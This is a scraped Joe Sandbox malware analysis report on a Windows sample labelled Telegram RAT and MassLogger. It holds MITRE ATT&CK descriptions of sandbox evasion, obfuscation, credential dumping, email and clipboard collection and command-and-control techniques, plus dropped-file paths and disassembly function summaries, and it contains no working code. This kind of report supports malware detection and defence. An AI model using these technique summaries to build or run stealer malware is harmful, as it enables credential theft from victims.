Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 14lVOjBoI2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed\Backlit.For146

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed\Handiest.Pla

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed\Riprap43.gaw

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed\forskansningens.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed\fyldebtten.soi

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed\wildwestfilm.sto

C:\Users\user\AppData\Local\Temp\nsr675C.tmp\System.dll

C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\Benchership141.lnk

Static File Info

General

File Icon

Windows Analysis Report
14lVOjBoI2.exe

Function 004032A0 Relevance: 89.7, APIs: 32, Strings: 19, Instructions: 401
stringfilecomCOMMON

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00406077 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Function 00405846 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Function 0040389E Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00402DEE Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151
fileCOMMON

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 00405683 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00405C59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
libraryCOMMON

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre